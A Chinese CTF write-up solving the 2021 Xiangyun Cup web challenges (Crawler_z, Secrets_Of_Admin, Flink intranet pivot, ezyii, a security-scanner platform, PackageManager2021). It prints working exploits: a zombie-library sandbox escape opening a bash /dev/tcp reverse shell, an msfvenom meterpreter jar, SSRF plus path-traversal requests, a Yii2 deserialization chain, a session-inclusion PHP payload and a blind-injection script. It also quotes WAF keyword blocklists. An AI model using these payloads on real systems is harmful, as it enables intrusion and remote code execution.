2021祥云杯Web全解
前段时间和队友@Firebasky一起AK了祥云杯的Web题目,感觉这次比赛Web题质量还不错
自己做了Node.Js、Typescript和一个PHP,下面是全部的WP
Crawler_z
给了附件

routes/index.js
没啥好说的,sighin和sighup功能,然后看到登陆后的/user路由,写在了routes/user.js
这里能更新个人信息

这里直接对user.bucket
发起了请求

看看是怎么请求的
crawler.js

其实这里卡了一会儿,因为没找到目标点
直到找到这篇文章
https://ha.cker.in/index.php/Article/13563

zombie这个库如果能控制目标那么就能实现RCE
那目标也清晰了,就是更改bucket
为自己VPS恶意地址
这里还有一段check

绕过方法如下
随便注册一个账号,然后来到/user/profile

这里直接自带了一个Bucket,先点击Update,然后得到token
/user/verify?token=0afe5b79dcf162297fd0d3abecb31cb2fce3a79a1cfa2d92a663c3a68a278cba

然后修改自带payload为vas,我这里是http://1.116.153.158/ttpfx/1.html?a=oss-cn-beijing.ichunqiu.com
抓包,发到Repeater进行请求

然后在再get请求刚才得到的token地址即可完成更新
更新后,将vps的地址存放如下payload
1.html
1
| <script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],); console.log(ls.output.toString());")()</script>
|
然后访问/user/bucket
即可触发payload反弹shell
执行根目录/readflag
即可得到flag
Secrets_Of_Admin
第一次遇到TypeScript,不过还好和node相差不大,还是能看懂代码
而且不知道是不是非预期,和其他师傅最后一步不一样,其他人用的sql注入,而我直接目录穿越
同样给了源码,是typescript
先来了解一下大概的架构
routes/index.ts
这里是登录

下面的是成为admin后的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| router.post('/admin', checkAuth, (req, res, next) => { let { content } = req.body; if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){ return res.render('admin', { error: 'Forbidden word 🤬'}); } else { let template = ` <html> <meta charset="utf8"> <title>Create your own pdfs</title> <body> <h3>${content}</h3> </body> </html> ` try { const filename = `${uuid()}.pdf` pdf.create(template, { "format": "Letter", "orientation": "portrait", "border": "0", "type": "pdf", "renderDelay": 3000, "timeout": 5000 }).toFile(`./files/${filename}`, async (err, _) => { if (err) next(createError(500)); const checksum = await getCheckSum(filename); await DB.Create('superuser', filename, checksum) return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`}); }); } catch (err) { return res.render('admin', { error : 'Failed to generate pdf 😥'}) } } });
|
只要成为了admin
就可以写一个PDF文件,这个pdf的名字是随机的,存放目录也不可控
这里需要本地才能请求,可以向db insert一个数据

database.ts

insert的三个字段各自代表什么意思后面说
这里是根据请求id向数据库查询文件名,然后读取文件返回文件

database.ts

而这里是怎么返回文件的呢?由POST /admin
可以看到,这里会将创建的PDF生成一个随机数checksum
,然后将生成的文件名与checksum
绑定在一起放到数据库,数据库大概执行的语句为
INSERT INTO files(username, filename, checksum) VALUES('superuser', 'xxxxxxxx.pdf', 'aaaaaaaaa');

这样,就只需要向数据库发送ID即可返回相应文件名,即请求/api/files/idxxx
得到idxxx
,然后去数据库查询是否有idxxx
绑定的文件名,有就返回文件名并读取文件内容,没有就返回false
从这里也可以回看到/api/files
,中间的create
我们对username
、filename
、checksum
完全可控,所以能使用这个API就代表我们能自己控制filename去绑定自定义的checksum
,然后访问获取到内容
题目结构了解完了,开始做题
先成为admin吧,这里写了admin password

直接登录即可

这里就是POST /admin
了,在这里卡了一会儿,想到既然有127.0.0.1那肯定要找个SSRF,但通看全场都没能让我发起SSRF的地方
然后查了一下,找到了html-pdf
这个依赖库的洞
https://github.com/marcbachmann/node-html-pdf/issues/530

这个洞能直接读文件,本地测了一下,读不了,应该是做了什么限制,懒得跟踪了,而且就算能读也没用,生成的pdf id是随机的,我们完全不知道,所以拿不到内容,最重要的是,它是以superuser
的身份进行存储

本地搭环境能伪造superuser,但这里完全绕不过

所以成为superuser
这一思路是错的,继续SSRF
想到exp既然能XHR读文件,你都能file协议了还不能http协议么?
于是将写PDF的内容检测语句删掉,然后测了<img src="http://106.15.121.121:1234/1.jpg">
,服务器直接收到了数据包,SSRF get!
那现在就是绕过内容检测语句了

过滤了尖括号,注入点又不处于标签中<h3>${content}</h3>
,真要命
所以思路走偏了,只想在HTML的层面进行绕过,测了很久,试了HTML实体转义、utf-8、URL Decode
最后走投无路尝试去绕.includes()
方法,一搜就出来了
来自404师傅的博客

数组能绕,那不就皆大欢喜了么
根据database.ts
的语句

尝试来一发content[]=<img src="http://127.0.0.1:8888/api/files?username=admin&filename=flag&checksum=2333">
,直接把我本地环境打退出了
远程来一发,直接给我容器干没了(😡
本地报了个奇奇怪怪的sqlite的错误,懒得去跟了,猜测是不允许我直接读flag
后面和其他师傅讨论才知道,sqlite不允许存在同名的键值,即flag键已经被使用过了,所以需要用后面目录穿越来绕一下
又跟了一下

直接拼接目录?来了个目录穿越,成功读取到了/etc/passwd
,然后试一下用目录穿越读flag
先从files目录穿到父目录去然后再去获取files/flag
最终payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST /admin HTTP/1.1 Host: eci-2zefrwyu3gc9kn6aysn2.cloudeci1.ichunqiu.com:8888 Content-Length: 11 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Origin: http://eci-2zefrwyu3gc9kn6aysn2.cloudeci1.ichunqiu.com:8888 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://eci-2zefrwyu3gc9kn6aysn2.cloudeci1.ichunqiu.com:8888/admin Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: UM_distinctid=178bbe1ab19c4b-03b55de3f08a36-336b7c08-13c680-178bbe1ab1ab5c; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1629357609; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1629357972; __jsluid_h=38223de3fca96ed1e1b5459037f7c502; token=s%3Aj%3A%7B%22username%22%3A%22admin%22%2C%22files%22%3A%5B%5D%2C%22isAdmin%22%3Atrue%7D.F56WSi1msokS7QwqhYWcJm%2FBhe1UiZ%2FxOtKnM%2BaehVU Connection: close
content[]=<img%20src="http://127.0.0.1:8888/api/files?username=admin%26filename=/../files/flag%26checksum=2333">
|
然后访问/api/files/2333
即可下载flag

总结流程
1
| http-pdf SSRF ---> /api/files目录穿越绑定文件 ---> 访问id获取flag
|
流程不长就是挺费劲的
层层穿透
访问发现了一个apache Flink,搜一下发现存在RCE
https://zhuanlan.zhihu.com/p/124948581
上传一个jar包即可反弹shell
1
| msfvenom -p java/meterpreter/reverse_tcp LHOST=ip LPORT=port -f jar > poc.jar
|
前面太卡了,还有人在爆破上传,有够缺德的
跟着流出来即可收到shell,挂个代理,然后就是内网的阶段,给了内网服务的源码
看了一下pom.xml,发现了很多jar包,有cc、shirt、fastjson什么的

这里能FastJson

需要成为admin,给了密码

然后还有个字符长度的限制,用idap绕了一下发现没打通,可能不出网
找到一个c3p0
https://github.com/depycode/fastjson-c3p0
用这个直接打就是
ezyii
给了源码,入口就是反序列化点
打了一会儿之前爆出的链子,没成功,找到这篇文章
yii 2.0.42 最新反序列化利用全集
直接打就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php namespace Codeception\Extension{ use Faker\UniqueGenerator; class RunProcess{
private $processes = []; public function __construct(){
$this->processes[]=new UniqueGenerator(); } } echo urlencode(serialize(new RunProcess())); } namespace Faker{ use Symfony\Component\String\LazyString; class UniqueGenerator { protected $generator; protected $maxRetries; public function __construct() { $a = new LazyString(); $this->generator = new DefaultGenerator($a); $this->maxRetries = 2; } } class DefaultGenerator { protected $default;
public function __construct($default = null) { $this->default = $default; } } } namespace Symfony\Component\String{ class LazyString{ private $value; public function __construct(){ include("closure/autoload.php"); $a = function(){phpinfo();}; $a = \Opis\Closure\serialize($a); $b = unserialize($a); $this->value=$b; } } }
|
安全检测平台
扫描到.login.php.swp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php
ob_start(); session_start();
function check3($username){ $pattern = "\/\*|\*|\.\.\/|\.\/|<|>|\?|\*|load_file|outfile|dumpfile|sub|hex|where"; $pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert"; $pattern .= "|select|insert|update|delete|load_file|into outfile|drop"; $pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore"; $pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|\@|:\/\/|flag"; $pattern .="|file|dict|gopher";
$vpattern = explode("|",$pattern);
foreach($vpattern as $value){ if (preg_match( "/$value/i", $username )){ echo "检测到恶意字符"; exit(0); } } }
$username=file_get_contents("php://input"); check3($username); $username=json_decode($username)->username;
if($username){ $_SESSION['user1']=$username; Header("Location:./index.php"); ob_end_flush(); exit(0); }
?>
|
然后还扫到了/admin
目录,返回403
登录后有一个网站扫描的接口

这里就能SSRF
了,猜测需要用这里去访问/admin
一个小坑点,输入http://localhost/admin会返回失败,输入http://127.0.0.1/admin会返回成功
然后输入http://127.0.0.1/admin
发现存在目录泄露,得到include123.php
,输入http://127.0.0.1/admin/include123.php
得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php $u=$_GET['u'];
$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where"; $pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert"; $pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore"; $pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr"; $pattern .="|file|dict|gopher";
$vpattern = explode("|",$pattern);
foreach($vpattern as $value){ if (preg_match( "/$value/i", $u )){ echo "检测到恶意字符"; exit(0); } }
include($u);
show_source(__FILE__); ?>
|
这里就是文件包含了,过滤了很多东西,所以不能直接读flag,但可以包含session文件来RCE
把username
设置为命令执行的payload
但存在waf,因为登陆点是json格式,所以直接unicode绕
http://www.toolscat.com/decode/unicode
最终payload

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /login.php HTTP/1.1 Host: eci-2ze7cuv076c4n4xyqqsp.cloudeci1.ichunqiu.com Content-Length: 276 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Content-Type: application/json; charset=UTF-8 Origin: http://eci-2ze7cuv076c4n4xyqqsp.cloudeci1.ichunqiu.com Referer: http://eci-2ze7cuv076c4n4xyqqsp.cloudeci1.ichunqiu.com/login.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: UM_distinctid=178bbe1ab19c4b-03b55de3f08a36-336b7c08-13c680-178bbe1ab1ab5c; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1629357609; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1629357972; PHPSESSID=318269ebed54edffb9a8d42ed5538634; __jsluid_h=03d101ea5a6a263b34ca7911262e4fb6 Connection: close
{"username":"\u003c\u003f\u0070\u0068\u0070\u0020\u0065\u0063\u0068\u006f\u0020\u0066\u0069\u006c\u0065\u005f\u0067\u0065\u0074\u005f\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u0073\u0028\u0027\u002f\u0066\u006c\u0061\u0067\u0027\u0029\u003b\u0020\u003f\u003e","password":"1"}
|
然后在SSRF点输入http://127.0.0.1/admin/include123.php?u=/tmp/sess_0a591f733185be45367ca406158a5775
包含session过来即可

PackageManager2021
非预期,看题面就知道是xss,但无意发现了sqli???
直接贴一下队友的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import requests passwd = "" for i in range(0,50): for j in range(32,127): burp0_url = "http://47.104.108.80:8888/auth" burp0_cookies = {"session": "s%3A48cl_lUReimQytHn7toEfeafbGGIpWXB.YBzs%2B3EcrGrFNvfOoe0wEbmm2NSA%2B4tVAlsYy7eRoIE"} burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://47.104.108.80:8888", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://47.104.108.80:8888/auth", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} burp0_data = {"_csrf": "kATaxQjv-Uka6Hw6X85iWgBuhyTxqgy7pvVA", "token": "cf87efe0c36a12aec113cd7982043573\"||(this.username==\"admin\"&&this.password[{}]==\"{}\")||\"".format(i,chr(j))} res=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,allow_redirects=False) if res.status_code == 302: passwd += chr(j) print(passwd)
|
直接注出admin密码,登录即可看到flag